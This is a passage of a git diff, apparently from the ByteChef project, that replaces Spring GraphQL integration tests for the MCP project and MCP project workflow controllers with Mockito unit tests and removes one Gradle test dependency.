diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/build.gradle.kts b/server/libs/automation/automation-mcp/automation-mcp-graphql/build.gradle.kts
index 6b4b5500746..1d545ecae11 100644
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/build.gradle.kts
+++ b/server/libs/automation/automation-mcp/automation-mcp-graphql/build.gradle.kts
@@ -12,6 +12,5 @@ dependencies {
     testImplementation("org.springframework:spring-webflux")
     testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
     testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(project(":server:libs:config:app-config"))
     testImplementation(project(":server:libs:test:test-int-support"))
 }
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerIntTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerIntTest.java
deleted file mode 100644
index 8846d435b96..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,278 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.configuration.domain.ProjectDeployment;
-import com.bytechef.automation.configuration.service.ProjectDeploymentService;
-import com.bytechef.automation.mcp.domain.McpProject;
-import com.bytechef.automation.mcp.facade.McpProjectFacade;
-import com.bytechef.automation.mcp.service.McpProjectService;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlTestConfiguration;
-import java.util.List;
-import java.util.Optional;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link McpProjectGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationMcpGraphQlTestConfiguration.class,
-    McpProjectGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpProjectGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath:graphql/"
-    })
-@AutomationMcpGraphQlConfigurationSharedMocks
-class McpProjectGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpProjectFacade mcpProjectFacade;
-
-    @Autowired
-    private McpProjectService mcpProjectService;
-
-    @Autowired
-    private ProjectDeploymentService projectDeploymentService;
-
-    @Test
-    void testGetMcpProjectById() {
-        // Given
-        Long projectId = 1L;
-        McpProject mockProject = createMockMcpProject(projectId, 123L, 1L);
-
-        when(mcpProjectService.fetchMcpProject(projectId)).thenReturn(Optional.of(mockProject));
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProject(id: "1") {
-                        id
-                        projectDeploymentId
-                        mcpServerId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProject.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpProject.projectDeploymentId")
-            .entity(String.class)
-            .isEqualTo("123")
-            .path("mcpProject.mcpServerId")
-            .entity(String.class)
-            .isEqualTo("1");
-
-        verify(mcpProjectService).fetchMcpProject(projectId);
-    }
-
-    @Test
-    void testGetMcpProjectByIdNotFound() {
-        // Given
-        Long projectId = 1L;
-
-        when(mcpProjectService.fetchMcpProject(projectId)).thenReturn(Optional.empty());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProject(id: "1") {
-                        id
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProject")
-            .valueIsNull();
-
-        verify(mcpProjectService).fetchMcpProject(projectId);
-    }
-
-    @Test
-    void testGetAllMcpProjects() {
-        // Given
-        List<McpProject> mockProjects = List.of(
-            createMockMcpProject(1L, 123L, 1L),
-            createMockMcpProject(2L, 456L, 2L));
-
-        when(mcpProjectService.getMcpProjects()).thenReturn(mockProjects);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjects {
-                        id
-                        projectDeploymentId
-                        mcpServerId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjects")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpProjectService).getMcpProjects();
-    }
-
-    @Test
-    void testGetMcpProjectsByServerId() {
-        // Given
-        Long serverId = 1L;
-        List<McpProject> mockProjects = List.of(
-            createMockMcpProject(1L, 123L, serverId),
-            createMockMcpProject(2L, 456L, serverId));
-
-        when(mcpProjectService.getMcpServerMcpProjects(serverId)).thenReturn(mockProjects);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectsByServerId(mcpServerId: "1") {
-                        id
-                        projectDeploymentId
-                        mcpServerId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectsByServerId")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpProjectService).getMcpServerMcpProjects(serverId);
-    }
-
-    @Test
-    void testCreateMcpProject() {
-        // Given
-        McpProject mockProject = createMockMcpProject(1L, 123L, 1L);
-
-        when(mcpProjectFacade.createMcpProject(anyLong(), anyLong(), anyInt(), any())).thenReturn(mockProject);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpProject(input: {
-                        mcpServerId: "1",
-                        projectId: "123",
-                        projectVersion: 1,
-                        selectedWorkflowIds: ["workflow1", "workflow2"]
-                    }) {
-                        id
-                        projectDeploymentId
-                        mcpServerId
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpProject.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpProject.mcpServerId")
-            .entity(String.class)
-            .isEqualTo("1");
-
-        verify(mcpProjectFacade).createMcpProject(1L, 123L, 1, List.of("workflow1", "workflow2"));
-    }
-
-    @Test
-    void testDeleteMcpProject() {
-        // Given
-        long projectId = 1L;
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteMcpProject(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteMcpProject")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(mcpProjectFacade).deleteMcpProject(projectId);
-    }
-
-    @Test
-    void testGetProjectVersion() {
-        // Given
-        Long projectId = 1L;
-        McpProject mockProject = createMockMcpProject(projectId, 123L, 1L);
-        ProjectDeployment mockDeployment = new ProjectDeployment();
-
-        mockDeployment.setProjectVersion(2);
-
-        when(mcpProjectService.fetchMcpProject(projectId)).thenReturn(Optional.of(mockProject));
-        when(projectDeploymentService.getProjectDeployment(123L)).thenReturn(mockDeployment);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProject(id: "1") {
-                        id
-                        projectVersion
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProject.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpProject.projectVersion")
-            .entity(Integer.class)
-            .isEqualTo(2);
-
-        verify(projectDeploymentService).getProjectDeployment(123L);
-    }
-
-    private McpProject createMockMcpProject(Long id, Long projectDeploymentId, Long mcpServerId) {
-        McpProject project = new McpProject(projectDeploymentId, mcpServerId);
-
-        project.setId(id);
-        project.setVersion(1);
-
-        return project;
-    }
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerTest.java
new file mode 100644
index 00000000000..863ec939efe
--- /dev/null
+++ b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectGraphQlControllerTest.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.automation.mcp.web.graphql;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import com.bytechef.automation.configuration.domain.ProjectDeployment;
+import com.bytechef.automation.configuration.service.ProjectDeploymentService;
+import com.bytechef.automation.configuration.service.ProjectService;
+import com.bytechef.automation.mcp.domain.McpProject;
+import com.bytechef.automation.mcp.facade.McpProjectFacade;
+import com.bytechef.automation.mcp.service.McpProjectService;
+import com.bytechef.automation.mcp.service.McpProjectWorkflowService;
+import java.util.List;
+import java.util.Optional;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Unit est for {@link McpProjectGraphQlController}. This test focuses on testing the GraphQL layer with mocked service
+ * dependencies.
+ *
+ * @author Ivica Cardic
+ */
+@ExtendWith(MockitoExtension.class)
+public class McpProjectGraphQlControllerTest {
+
+    @Mock
+    private McpProjectFacade mcpProjectFacade;
+
+    @Mock
+    private McpProjectService mcpProjectService;
+
+    @Mock
+    private McpProjectWorkflowService mcpProjectWorkflowService;
+
+    @Mock
+    private ProjectDeploymentService projectDeploymentService;
+
+    @Mock
+    private ProjectService projectService;
+
+    @InjectMocks
+    private McpProjectGraphQlController mcpProjectGraphQlController;
+
+    @Test
+    void testGetMcpProjectById() {
+        // Given
+        Long projectId = 1L;
+        McpProject mockProject = createMockMcpProject(projectId, 123L, 1L);
+        when(mcpProjectService.fetchMcpProject(projectId)).thenReturn(Optional.of(mockProject));
+
+        // When
+        McpProject result = mcpProjectGraphQlController.mcpProject(projectId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(projectId, result.getId());
+        assertEquals(123L, result.getProjectDeploymentId());
+        assertEquals(1L, result.getMcpServerId());
+        verify(mcpProjectService).fetchMcpProject(projectId);
+    }
+
+    @Test
+    void testGetAllMcpProjects() {
+        // Given
+        List<McpProject> mockProjects = List.of(
+            createMockMcpProject(1L, 123L, 1L),
+            createMockMcpProject(2L, 456L, 2L));
+        when(mcpProjectService.getMcpProjects()).thenReturn(mockProjects);
+
+        // When
+        List<McpProject> result = mcpProjectGraphQlController.mcpProjects();
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals(123L, result.get(0)
+            .getProjectDeploymentId());
+        assertEquals(456L, result.get(1)
+            .getProjectDeploymentId());
+        verify(mcpProjectService).getMcpProjects();
+    }
+
+    @Test
+    void testGetMcpProjectsByServerId() {
+        // Given
+        Long serverId = 1L;
+        List<McpProject> mockProjects = List.of(
+            createMockMcpProject(1L, 123L, serverId),
+            createMockMcpProject(2L, 456L, serverId));
+        when(mcpProjectService.getMcpServerMcpProjects(serverId)).thenReturn(mockProjects);
+
+        // When
+        List<McpProject> result = mcpProjectGraphQlController.mcpProjectsByServerId(serverId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals(serverId, result.get(0)
+            .getMcpServerId());
+        assertEquals(serverId, result.get(1)
+            .getMcpServerId());
+        verify(mcpProjectService).getMcpServerMcpProjects(serverId);
+    }
+
+    @Test
+    void testCreateMcpProjectWithWorkflows() {
+        // Given
+        McpProjectGraphQlController.CreateMcpProjectInput input =
+            new McpProjectGraphQlController.CreateMcpProjectInput(
+                1L, 123L, 1, List.of("workflow1", "workflow2"));
+        McpProject mockProject = createMockMcpProject(1L, 123L, 1L);
+        when(mcpProjectFacade.createMcpProject(anyLong(), anyLong(), any(Integer.class), any()))
+            .thenReturn(mockProject);
+
+        // When
+        McpProject result = mcpProjectGraphQlController.createMcpProject(input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(123L, result.getProjectDeploymentId());
+        assertEquals(1L, result.getMcpServerId());
+        verify(mcpProjectFacade).createMcpProject(1L, 123L, 1, List.of("workflow1", "workflow2"));
+    }
+
+    @Test
+    void testDeleteMcpProject() {
+        // Given
+        long projectId = 1L;
+
+        // When
+        boolean result = mcpProjectGraphQlController.deleteMcpProject(projectId);
+
+        // Then
+        assertTrue(result);
+        verify(mcpProjectFacade).deleteMcpProject(projectId);
+    }
+
+    @Test
+    void testGetProjectVersion() {
+        // Given
+        McpProject mockProject = createMockMcpProject(1L, 123L, 1L);
+        ProjectDeployment mockDeployment = new ProjectDeployment();
+
+        mockDeployment.setProjectVersion(2);
+
+        when(projectDeploymentService.getProjectDeployment(123L)).thenReturn(mockDeployment);
+
+        // When
+        Integer result = mcpProjectGraphQlController.projectVersion(mockProject);
+
+        // Then
+        assertEquals(2, result);
+        verify(projectDeploymentService).getProjectDeployment(123L);
+    }
+
+    private McpProject createMockMcpProject(Long id, Long projectDeploymentId, Long mcpServerId) {
+        McpProject project = new McpProject(projectDeploymentId, mcpServerId);
+
+        project.setId(id);
+        project.setVersion(1);
+
+        return project;
+    }
+}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerIntTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerIntTest.java
deleted file mode 100644
index 5649847fe1d..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,297 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.mcp.domain.McpProjectWorkflow;
-import com.bytechef.automation.mcp.service.McpProjectWorkflowService;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlTestConfiguration;
-import java.util.List;
-import java.util.Optional;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link McpProjectWorkflowGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationMcpGraphQlTestConfiguration.class,
-    McpProjectWorkflowGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpProjectWorkflowGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath:graphql/"
-    })
-@AutomationMcpGraphQlConfigurationSharedMocks
-class McpProjectWorkflowGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpProjectWorkflowService mcpProjectWorkflowService;
-
-    @Test
-    void testGetMcpProjectWorkflowById() {
-        // Given
-        Long workflowId = 1L;
-        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(workflowId, 1L, 123L);
-
-        when(mcpProjectWorkflowService.fetchMcpProjectWorkflow(workflowId)).thenReturn(Optional.of(mockWorkflow));
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectWorkflow(id: "1") {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectWorkflow.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpProjectWorkflow.mcpProjectId")
-            .entity(Long.class)
-            .isEqualTo(1L)
-            .path("mcpProjectWorkflow.projectDeploymentWorkflowId")
-            .entity(Long.class)
-            .isEqualTo(123L);
-
-        verify(mcpProjectWorkflowService).fetchMcpProjectWorkflow(workflowId);
-    }
-
-    @Test
-    void testGetMcpProjectWorkflowByIdNotFound() {
-        // Given
-        long workflowId = 1L;
-
-        when(mcpProjectWorkflowService.fetchMcpProjectWorkflow(workflowId)).thenReturn(Optional.empty());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectWorkflow(id: "1") {
-                        id
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectWorkflow")
-            .valueIsNull();
-
-        verify(mcpProjectWorkflowService).fetchMcpProjectWorkflow(workflowId);
-    }
-
-    @Test
-    void testGetAllMcpProjectWorkflows() {
-        // Given
-        List<McpProjectWorkflow> mockWorkflows = List.of(
-            createMockMcpProjectWorkflow(1L, 1L, 123L),
-            createMockMcpProjectWorkflow(2L, 2L, 456L));
-
-        when(mcpProjectWorkflowService.getMcpProjectWorkflows()).thenReturn(mockWorkflows);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectWorkflows {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectWorkflows")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpProjectWorkflowService).getMcpProjectWorkflows();
-    }
-
-    @Test
-    void testGetMcpProjectWorkflowsByMcpProjectId() {
-        // Given
-        Long mcpProjectId = 1L;
-        List<McpProjectWorkflow> mockWorkflows = List.of(
-            createMockMcpProjectWorkflow(1L, mcpProjectId, 123L),
-            createMockMcpProjectWorkflow(2L, mcpProjectId, 456L));
-
-        when(mcpProjectWorkflowService.getMcpProjectMcpProjectWorkflows(mcpProjectId)).thenReturn(mockWorkflows);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectWorkflowsByMcpProjectId(mcpProjectId: "1") {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectWorkflowsByMcpProjectId")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpProjectWorkflowService).getMcpProjectMcpProjectWorkflows(mcpProjectId);
-    }
-
-    @Test
-    void testGetMcpProjectWorkflowsByProjectDeploymentWorkflowId() {
-        // Given
-        Long projectDeploymentWorkflowId = 123L;
-        List<McpProjectWorkflow> mockWorkflows = List.of(
-            createMockMcpProjectWorkflow(1L, 1L, projectDeploymentWorkflowId),
-            createMockMcpProjectWorkflow(2L, 2L, projectDeploymentWorkflowId));
-
-        when(mcpProjectWorkflowService.getProjectDeploymentWorkflowMcpProjectWorkflows(projectDeploymentWorkflowId))
-            .thenReturn(mockWorkflows);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpProjectWorkflowsByProjectDeploymentWorkflowId(projectDeploymentWorkflowId: "123") {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpProjectWorkflowsByProjectDeploymentWorkflowId")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpProjectWorkflowService).getProjectDeploymentWorkflowMcpProjectWorkflows(projectDeploymentWorkflowId);
-    }
-
-    @Test
-    void testCreateMcpProjectWorkflow() {
-        // Given
-        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(1L, 1L, 123L);
-
-        when(mcpProjectWorkflowService.create(anyLong(), anyLong())).thenReturn(mockWorkflow);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpProjectWorkflow(input: {
-                        mcpProjectId: 1,
-                        projectDeploymentWorkflowId: 123
-                    }) {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpProjectWorkflow.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpProjectWorkflow.mcpProjectId")
-            .entity(Long.class)
-            .isEqualTo(1L);
-
-        verify(mcpProjectWorkflowService).create(1L, 123L);
-    }
-
-    @Test
-    void testUpdateMcpProjectWorkflow() {
-        // Given
-        Long workflowId = 1L;
-        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(workflowId, 2L, 456L);
-
-        when(mcpProjectWorkflowService.update(anyLong(), anyLong(), anyLong())).thenReturn(mockWorkflow);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateMcpProjectWorkflow(id: "1", input: {
-                        mcpProjectId: 2,
-                        projectDeploymentWorkflowId: 456
-                    }) {
-                        id
-                        mcpProjectId
-                        projectDeploymentWorkflowId
-                    }
-                }
-                """)
-            .execute()
-            .path("updateMcpProjectWorkflow.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("updateMcpProjectWorkflow.mcpProjectId")
-            .entity(Long.class)
-            .isEqualTo(2L);
-
-        verify(mcpProjectWorkflowService).update(workflowId, 2L, 456L);
-    }
-
-    @Test
-    void testDeleteMcpProjectWorkflow() {
-        // Given
-        Long workflowId = 1L;
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteMcpProjectWorkflow(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteMcpProjectWorkflow")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(mcpProjectWorkflowService).delete(workflowId);
-    }
-
-    private McpProjectWorkflow createMockMcpProjectWorkflow(
-        Long id, Long mcpProjectId, Long projectDeploymentWorkflowId) {
-
-        McpProjectWorkflow workflow = new McpProjectWorkflow(mcpProjectId, projectDeploymentWorkflowId);
-
-        workflow.setId(id);
-        workflow.setVersion(1);
-
-        return workflow;
-    }
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerTest.java
new file mode 100644
index 00000000000..6b27b5a03bd
--- /dev/null
+++ b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/McpProjectWorkflowGraphQlControllerTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.automation.mcp.web.graphql;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import com.bytechef.automation.mcp.domain.McpProjectWorkflow;
+import com.bytechef.automation.mcp.service.McpProjectWorkflowService;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Unit test for {@link McpProjectWorkflowGraphQlController}. This test focuses on testing the GraphQL layer with mocked
+ * service dependencies.
+ *
+ * @author Ivica Cardic
+ */
+@ExtendWith(MockitoExtension.class)
+public class McpProjectWorkflowGraphQlControllerTest {
+
+    @Mock
+    private McpProjectWorkflowService mcpProjectWorkflowService;
+
+    @InjectMocks
+    private McpProjectWorkflowGraphQlController mcpProjectWorkflowGraphQlController;
+
+    @Test
+    void testGetMcpProjectWorkflowById() {
+        // Given
+        Long workflowId = 1L;
+        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(workflowId, 1L, 123L);
+
+        when(mcpProjectWorkflowService.fetchMcpProjectWorkflow(workflowId)).thenReturn(Optional.of(mockWorkflow));
+
+        // When
+        McpProjectWorkflow result = mcpProjectWorkflowGraphQlController.mcpProjectWorkflow(workflowId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(workflowId, result.getId());
+        assertEquals(1L, result.getMcpProjectId());
+        assertEquals(123L, result.getProjectDeploymentWorkflowId());
+        verify(mcpProjectWorkflowService).fetchMcpProjectWorkflow(workflowId);
+    }
+
+    @Test
+    void testGetMcpProjectWorkflowByIdNotFound() {
+        // Given
+        long workflowId = 1L;
+
+        when(mcpProjectWorkflowService.fetchMcpProjectWorkflow(workflowId)).thenReturn(Optional.empty());
+
+        // When
+        McpProjectWorkflow result = mcpProjectWorkflowGraphQlController.mcpProjectWorkflow(workflowId);
+
+        // Then
+        assertNull(result);
+        verify(mcpProjectWorkflowService).fetchMcpProjectWorkflow(workflowId);
+    }
+
+    @Test
+    void testGetAllMcpProjectWorkflows() {
+        // Given
+        List<McpProjectWorkflow> mockWorkflows = List.of(
+            createMockMcpProjectWorkflow(1L, 1L, 123L),
+            createMockMcpProjectWorkflow(2L, 2L, 456L));
+
+        when(mcpProjectWorkflowService.getMcpProjectWorkflows()).thenReturn(mockWorkflows);
+
+        // When
+        List<McpProjectWorkflow> result = mcpProjectWorkflowGraphQlController.mcpProjectWorkflows();
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals(1L, result.get(0)
+            .getMcpProjectId());
+        assertEquals(2L, result.get(1)
+            .getMcpProjectId());
+        verify(mcpProjectWorkflowService).getMcpProjectWorkflows();
+    }
+
+    @Test
+    void testGetMcpProjectWorkflowsByMcpProjectId() {
+        // Given
+        Long mcpProjectId = 1L;
+        List<McpProjectWorkflow> mockWorkflows = List.of(
+            createMockMcpProjectWorkflow(1L, mcpProjectId, 123L),
+            createMockMcpProjectWorkflow(2L, mcpProjectId, 456L));
+
+        when(mcpProjectWorkflowService.getMcpProjectMcpProjectWorkflows(mcpProjectId)).thenReturn(mockWorkflows);
+
+        // When
+        List<McpProjectWorkflow> result =
+            mcpProjectWorkflowGraphQlController.mcpProjectWorkflowsByMcpProjectId(mcpProjectId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals(mcpProjectId, result.get(0)
+            .getMcpProjectId());
+        assertEquals(mcpProjectId, result.get(1)
+            .getMcpProjectId());
+        verify(mcpProjectWorkflowService).getMcpProjectMcpProjectWorkflows(mcpProjectId);
+    }
+
+    @Test
+    void testGetMcpProjectWorkflowsByProjectDeploymentWorkflowId() {
+        // Given
+        Long projectDeploymentWorkflowId = 123L;
+        List<McpProjectWorkflow> mockWorkflows = List.of(
+            createMockMcpProjectWorkflow(1L, 1L, projectDeploymentWorkflowId),
+            createMockMcpProjectWorkflow(2L, 2L, projectDeploymentWorkflowId));
+
+        when(mcpProjectWorkflowService.getProjectDeploymentWorkflowMcpProjectWorkflows(projectDeploymentWorkflowId))
+            .thenReturn(mockWorkflows);
+
+        // When
+        List<McpProjectWorkflow> result = mcpProjectWorkflowGraphQlController
+            .mcpProjectWorkflowsByProjectDeploymentWorkflowId(projectDeploymentWorkflowId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals(projectDeploymentWorkflowId, result.get(0)
+            .getProjectDeploymentWorkflowId());
+        assertEquals(projectDeploymentWorkflowId, result.get(1)
+            .getProjectDeploymentWorkflowId());
+        verify(mcpProjectWorkflowService).getProjectDeploymentWorkflowMcpProjectWorkflows(projectDeploymentWorkflowId);
+    }
+
+    @Test
+    void testCreateMcpProjectWorkflow() {
+        // Given
+        Map<String, Object> input = Map.of(
+            "mcpProjectId", "1",
+            "projectDeploymentWorkflowId", "123");
+        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(1L, 1L, 123L);
+
+        when(mcpProjectWorkflowService.create(anyLong(), anyLong())).thenReturn(mockWorkflow);
+
+        // When
